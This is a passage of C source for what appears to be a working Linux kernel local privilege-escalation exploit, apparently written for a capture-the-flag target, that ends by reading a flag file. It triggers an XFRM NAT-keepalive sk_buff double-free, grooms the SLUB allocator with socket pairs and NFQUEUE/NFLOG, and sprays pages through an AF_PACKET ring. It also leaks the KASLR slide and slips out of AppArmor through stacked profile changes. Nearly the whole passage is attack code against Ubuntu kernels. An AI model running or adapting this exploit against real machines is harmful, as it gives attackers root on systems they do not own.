"127.0.0.1", &encap.encap_oa) != 1) die("inet_pton(XFRM)"); req.xsinfo.lft.soft_byte_limit = XFRM_INF; req.xsinfo.lft.soft_packet_limit = XFRM_INF; req.xsinfo.lft.hard_byte_limit = XFRM_INF; req.xsinfo.lft.hard_packet_limit = XFRM_INF; addattr_nest(&req.nlh, sizeof(req), XFRMA_ALG_AUTH, &auth, sizeof(auth.alg)); addattr_nest(&req.nlh, sizeof(req), XFRMA_ALG_CRYPT, &crypt, sizeof(crypt.alg)); addattr_nest(&req.nlh, sizeof(req), XFRMA_ENCAP, &encap, sizeof(encap)); addattr_l(&req.nlh, sizeof(req), XFRMA_SA_DIR, &direction, sizeof(direction)); if (interval) addattr_l(&req.nlh, sizeof(req), XFRMA_NAT_KEEPALIVE_INTERVAL, &interval, sizeof(interval)); if (sendmsg(fd, &message, 0) < 0) die("sendmsg(XFRM_MSG_NEWSA)"); memset(&response, 0, sizeof(response)); length = recv(fd, &response, sizeof(response), 0); if (length < (ssize_t)(NLMSG_HDRLEN + sizeof(struct nlmsgerr))) die("recv(XFRM ack)"); if (response.nlh.nlmsg_type == NLMSG_ERROR && response.err.error) { errno = -response.err.error; die("XFRM_MSG_NEWSA"); } close(fd); } static void delete_xfrm_state(void) { struct { struct nlmsghdr nlh; struct xfrm_usersa_id id; } request = { 0 }; struct { struct nlmsghdr nlh; struct nlmsgerr err; char buffer[128]; } response; struct sockaddr_nl address = { .nl_family = AF_NETLINK }; ssize_t length; int fd; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (fd < 0) die("socket(NETLINK_XFRM delete)"); request.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(request.id)); request.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; request.nlh.nlmsg_type = XFRM_MSG_DELSA; request.id.family = AF_INET; request.id.proto = IPPROTO_ESP; request.id.spi = htonl(0x5f6e6562); if (inet_pton(AF_INET, "127.0.0.1", &request.id.daddr) != 1) die("inet_pton(XFRM delete)"); if (sendto(fd, &request, request.nlh.nlmsg_len, 0, (struct sockaddr *)&address, sizeof(address)) < 0) die("sendto(XFRM_MSG_DELSA)"); memset(&response, 0, sizeof(response)); length = recv(fd, &response, sizeof(response), 0); if (length < (ssize_t)(NLMSG_HDRLEN + sizeof(struct nlmsgerr))) die("recv(XFRM delete ack)"); if (response.nlh.nlmsg_type == NLMSG_ERROR && response.err.error) { errno = -response.err.error; die("XFRM_MSG_DELSA"); } close(fd); } static int rtnetlink_ack(int fd, uint32_t sequence) { unsigned char buffer[8192]; ssize_t length; for (;;) { struct nlmsghdr *header; length = recv(fd, buffer, sizeof(buffer), 0); if (length < 0) return -1; for (header = (struct nlmsghdr *)buffer; NLMSG_OK(header, length); header = NLMSG_NEXT(header, length)) { struct nlmsgerr *error; if (header->nlmsg_seq != sequence || header->nlmsg_type != NLMSG_ERROR) continue; error = NLMSG_DATA(header); if (error->error) { errno = -error->error; return -1; } return 0; } } } static void install_zero_limit_pfifo(void) { unsigned char buffer[1024] = { 0 }; struct nlmsghdr *header = (struct nlmsghdr *)buffer; struct tcmsg *message; struct tc_fifo_qopt options = { .limit = 0, }; struct sockaddr_nl address = { .nl_family = AF_NETLINK, }; unsigned int ifindex = if_nametoindex("lo"); static uint32_t sequence; int fd; if (!ifindex) die("if_nametoindex(lo)"); fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE); if (fd < 0) die("socket(NETLINK_ROUTE)"); header->nlmsg_len = NLMSG_LENGTH(sizeof(*message)); header->nlmsg_type = RTM_NEWQDISC; header->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_REPLACE; header->nlmsg_seq = ++sequence; message = NLMSG_DATA(header); message->tcm_family = AF_UNSPEC; message->tcm_ifindex = (int)ifindex; message->tcm_handle = 0x10000U; message->tcm_parent = TC_H_ROOT; addattr_l(header, sizeof(buffer), TCA_KIND, "pfifo", sizeof("pfifo")); addattr_l(header, sizeof(buffer), TCA_OPTIONS, &options, sizeof(options)); if (sendto(fd, header, header->nlmsg_len, 0, (struct sockaddr *)&address, sizeof(address)) < 0) die("sendto(RTM_NEWQDISC pfifo)"); if (rtnetlink_ack(fd, header->nlmsg_seq) < 0) die("RTM_NEWQDISC pfifo ack"); close(fd); } static int namespace_child(void *unused) { int groom[GROOM_PAIRS][2]; int partial_guard[GUARD_PAIRS][2]; int nfqueue; int nflog; struct cleaner_socket cleaner; struct queue_notice notice[MAX_QUEUE_TRIES]; int notice_cpu[MAX_QUEUE_TRIES]; int cleaner_count; char gate; (void)unused; close(child_gate[1]); if (read(child_gate[0], &gate, 1) != 1) _exit(30); close(child_gate[0]); if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0) die("setresuid/setresgid"); printf("namespace uid=%u gid=%u\n", getuid(), getgid()); print_profile("namespace"); pin_cpu(0); set_loopback_up(); save_user_state(); /* Protocol zero keeps the allocator-only RX ring detached from traffic; * otherwise background loopback/virtio packets can overwrite a forged * frame between mmap() and the stale-skb release. */ packet_fd = socket(AF_PACKET, SOCK_RAW, 0); if (packet_fd < 0) die("socket(AF_PACKET)"); nfqueue = open_and_bind_nfqueue(); cleaner = open_cleaner_socket(); install_ipv6_output_queue(); install_ipv4_output_drop(); nflog = open_and_bind_nflog(); /* Load nft/XFRM algorithms and let their uevents finish before the one * vulnerable keepalive is armed. The warm-up state deliberately omits * XFRMA_NAT_KEEPALIVE_INTERVAL and therefore has no timer callback. */ install_xfrm_state(0); delete_xfrm_state(); sleep(15); for (int i = 0; i < GROOM_PAIRS; i++) { make_unix_pair(groom[i]); for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); } for (int i = 0; i < GUARD_PAIRS; i++) make_unix_pair(partial_guard[i]); /* * Ubuntu 7.0 keeps recently freed sk_buff heads in a 28-entry per-CPU * sheaf. Unlike the old SLUB freelist, two adjacent frees are therefore * retained as A,A and need no B interposition. Drain both possible CPU * sheaves immediately after the delayed keepalive has run. */ /* * NFLOG is a stock, read-only synchronization signal: MSG_PEEK keeps its * notification skb queued, so observing the DROP does not perturb either * per-CPU skb sheaf before A,A are consumed. */ /* * Seed both CPU sheaves from a contiguous, fully controlled tail of the * AF_UNIX allocation before arming the callback. The XFRM skb will then * share a slab only * with objects that are already free or that we drain below, instead of * with long-lived setup skbs that prevent page reclamation. */ for (int cpu = 0; cpu < 2; cpu++) { pin_cpu(cpu); int begin = PRESEED_START + cpu * PRESEED_PAIRS_PER_CPU; int end = begin + PRESEED_PAIRS_PER_CPU; for (int i = begin; i < end; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); } pin_cpu(0); install_xfrm_state(1); puts("armed assigned 226f4a49 double-free; waiting on NFLOG"); wait_for_nflog_packet(nflog); /* NFLOG enqueue precedes the adjacent A,A frees by only a few usec. */ if (capture_delay_us) usleep(capture_delay_us); /* * On whichever CPU ran the XFRM worker, the IPv6 datagram and its * netlink notification consume A,A. nf_queue_entry retains the first * reference externally; receiving the notification frees the second. * A normal attempt consumes two different heads but receiving its notice * puts the second one back on top, removing one intervening object. Thus a * short serial walk converges on A,A even if a few background frees landed * ahead of the duplicate. */ int queued = 0; int target = -1; int target_cpu = -1; for (int cpu = 0; cpu < 1 && target < 0; cpu++) { pin_cpu(cpu); for (int attempt = 0; attempt < QUEUE_TRIES_PER_CPU; attempt++) { queue_one_ipv6_packet((unsigned char)('A' + cpu)); notice_cpu[queued] = cpu; notice[queued] = receive_queue_notice(nfqueue); if (notice[queued].malformed) { target = queued; target_cpu = cpu; queued++; break; } queued++; } } printf("NFQUEUE retained %d packets ids=%u..%u\n", queued, notice[0].packet_id, notice[queued - 1].packet_id); if (target < 0) die("double-free capture missed"); printf("captured duplicate id=%u on cpu%d\n", notice[target].packet_id, target_cpu); /* * If the duplicate is captured by a later queue attempt, every earlier * NFQUEUE entry can be another live owner of the same twice-allocated skb. * Release those aliases first, then immediately consume the freshly freed * head with the cleaner. For a first-attempt capture the second A is * already free, so the same cleaner step applies directly. In both cases * this leaves exactly one external NFQUEUE reference and no duplicate in a * sheaf before any bulk flush reaches SLAB_FREELIST_HARDENED. */ for (int i = 0; i < target; i++) { pin_cpu(notice_cpu[i]); send_queue_drop_verdict(nfqueue, notice[i].packet_id); } pin_cpu(target_cpu); /* Every earlier verdict places its independent skb ahead of the duplicate * again. Pin all of those heads plus A with queued cleaner messages. */ cleaner_count = target + 1; for (int i = 0; i < cleaner_count; i++) send_cleaner(&cleaner); puts("cleaner allocated"); /* Stop later one-second keepalives without touching the captured sheaf. */ pin_cpu(target_cpu ^ 1); delete_xfrm_state(); puts("xfrm state deleted"); puts("earlier NFQUEUE aliases released"); /* * Overflow the v7 SLUB barn (10 full 28-object sheaves) on the captured * CPU. Its E2BIG path flushes the spare sheaf containing A to the slab * allocator. Keep NFLOG's adjacent notification allocated during this * first phase: it prevents A's slab from becoming one of min_partial's * permanently retained empty slabs while the bulk groom slabs are drained. */ pin_cpu(target_cpu); for (int i = 0; i < GROOM_PAIRS * 3 / 4; i++) { for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); } puts("bulk phase one drained"); /* Empty the target slab only after the node already has ample partials. */ close(nflog); for (int i = GROOM_PAIRS * 3 / 4; i < PRESEED_START; i++) { for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); } puts("target slab neighbours drained"); /* Flush the controlled preseed that belongs to the other CPU as well. */ pin_cpu(target_cpu ^ 1); for (int i = GROOM_PAIRS - 16; i < GROOM_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = GROOM_PAIRS - 16; i < GROOM_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); pin_cpu(target_cpu); /* * The first empty slabs can be retained by min_partial. Refill the cache * deeply enough to consume those partial slabs, then drain in reverse slab * order. The target page is consequently emptied only after the partial * list is already saturated, while thousands of later frees still force * its containing sheaf through the barn. */ for (int i = 0; i < GROOM_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = GROOM_PAIRS - 1; i >= POST_TARGET_PAIRS; i--) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); puts("partial slabs saturated"); /* Allocate every flush cohort while A is still live. Once A is released * below, no further skbuff allocation may recreate a slab that has already * reached the buddy allocator. */ for (int i = CPU0_DRAIN_FIRST; i < CPU0_DRAIN_FIRST + CPU0_DRAIN_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = 0; i < GUARD_OBJECTS; i++) send_byte(partial_guard[i % GUARD_PAIRS][0]); for (int i = CPU0_FILL_FIRST; i < CPU0_FILL_FIRST + CPU0_FILL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = CPU0_FINAL_FIRST; i < CPU0_FINAL_FIRST + CPU0_FINAL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); pin_cpu(target_cpu ^ 1); for (int i = CPU1_DRAIN_FIRST; i < CPU1_DRAIN_FIRST + CPU1_DRAIN_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = CPU1_FILL_FIRST; i < CPU1_FILL_FIRST + CPU1_FILL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = CPU1_FINAL_FIRST; i < CPU1_FINAL_FIRST + CPU1_FINAL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); pin_cpu(target_cpu); /* Fill the shared barn and create more than min_partial live partial * slabs before A's cohort is returned. */ for (int i = CPU0_FILL_FIRST; i < CPU0_FILL_FIRST + CPU0_FILL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); for (int i = 1; i < GUARD_PAIRS; i += 2) for (int j = 0; j < GUARD_OBJECTS / GUARD_PAIRS; j++) receive_byte(partial_guard[i][1]); for (int i = CPU0_FINAL_FIRST; i < CPU0_FINAL_FIRST + PRE_TARGET_PUSH_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); /* Flush the other CPU while cleaner still pins A's slab. */ pin_cpu(target_cpu ^ 1); for (int i = CPU1_FILL_FIRST; i < CPU1_FILL_FIRST + CPU1_FILL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); for (int i = CPU1_DRAIN_FIRST; i < CPU1_DRAIN_FIRST + CPU1_DRAIN_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); for (int i = CPU1_FINAL_FIRST; i < CPU1_FINAL_FIRST + CPU1_FINAL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); pin_cpu(target_cpu); /* A is the final live pin. Return it and its neighbours only after every * other preparation has finished, then push the last CPU0 sheaves and * enter the page spray without closing descriptors or allocating skbs. */ for (int i = 0; i < cleaner_count; i++) receive_cleaner(&cleaner); for (int i = POST_TARGET_PAIRS - 1; i >= 0; i--) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); for (int i = CPU0_DRAIN_FIRST; i < CPU0_DRAIN_FIRST + CPU0_DRAIN_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); for (int i = CPU0_FINAL_FIRST + PRE_TARGET_PUSH_PAIRS; i < CPU0_FINAL_FIRST + CPU0_FINAL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); /* Consume every full sheaf and the bounded node-partial population. The * target page is consequently in this first cohort even when its prior * emptying was retained by min_partial. A disjoint tail is allocated * afterwards solely to push the target cohort through main/spare. */ for (int i = POST_DRAIN_FIRST; i < POST_DRAIN_FIRST + POST_DRAIN_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = POST_FILL_FIRST; i < POST_FILL_FIRST + POST_FILL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = POST_PUSH_FIRST; i < POST_PUSH_FIRST + POST_PUSH_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) send_byte(groom[i][0]); for (int i = POST_FILL_FIRST; i < POST_FILL_FIRST + POST_FILL_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); for (int i = POST_DRAIN_FIRST; i < POST_DRAIN_FIRST + POST_DRAIN_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); for (int i = POST_PUSH_FIRST; i < POST_PUSH_FIRST + POST_PUSH_PAIRS; i++) for (int j = 0; j < GROOM_PER_PAIR; j++) receive_byte(groom[i][1]); /* The final receive may discard A's slab. Do not print, yield, close a * descriptor, or make any unrelated syscall before the prepared ring takes * order-0 pages from the same CPU's allocator. */ packet_page_spray(); send_queue_drop_verdict(nfqueue, notice[target].packet_id); usleep(200000); { int fd = open(flag_path, O_RDONLY | O_CLOEXEC); char flag[256]; ssize_t got; if (fd >= 0 && (got = read(fd, flag, sizeof(flag) - 1)) > 0) { flag[got] = 0; printf("FLAG=%s\n", flag); return 0; } } puts("no flag after page spray"); return 2; } int main(void) { char map[64]; char *stack; pid_t child; int status; struct rlimit nofile = { .rlim_cur = 8192, .rlim_max = 8192 }; setvbuf(stdout, NULL, _IONBF, 0); if (setrlimit(RLIMIT_NOFILE, &nofile) < 0) die("setrlimit(RLIMIT_NOFILE)"); kaslr_slide = leak_image_slide_checked() + UBUNTU_IMAGE_EDGE_BIAS; printf("kaslr slide=%#llx\n", (unsigned long long)kaslr_slide); printf("capture delay=%u us\n", capture_delay_us); printf("start uid=%u gid=%u\n", getuid(), getgid()); print_profile("start"); errno = 0; if (change_profile("/usr/lib/snapd/snap-confine") < 0) die("first changeprofile"); printf("first changeprofile rc=0 errno=0\n"); print_profile("stacked"); errno = 0; if (change_profile("plasmashell") < 0) die("second changeprofile"); printf("second changeprofile rc=0 errno=0\n"); print_profile("final-parent"); if (pipe(child_gate) < 0) die("pipe"); stack = malloc(STACK_SIZE); if (!stack) die("malloc(stack)"); child = clone(namespace_child, stack + STACK_SIZE, CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWIPC | SIGCHLD, NULL); if (child < 0) die("clone(USER|NET|IPC)"); close(child_gate[0]); if (write_map(child, "setgroups", "deny\n") < 0) die("setgroups map"); snprintf(map, sizeof(map), "0 %u 1\n", getuid()); if (write_map(child, "uid_map", map) < 0) die("uid_map"); snprintf(map, sizeof(map), "0 %u 1\n", getgid()); if (write_map(child, "gid_map", map) < 0) die("gid_map"); if (write(child_gate[1], "x", 1) != 1) die("release child"); close(child_gate[1]); waitpid(child, &status, 0); printf("namespace child status=%d\n", status); return WIFEXITED(status) ? WEXITSTATUS(status) : 1; }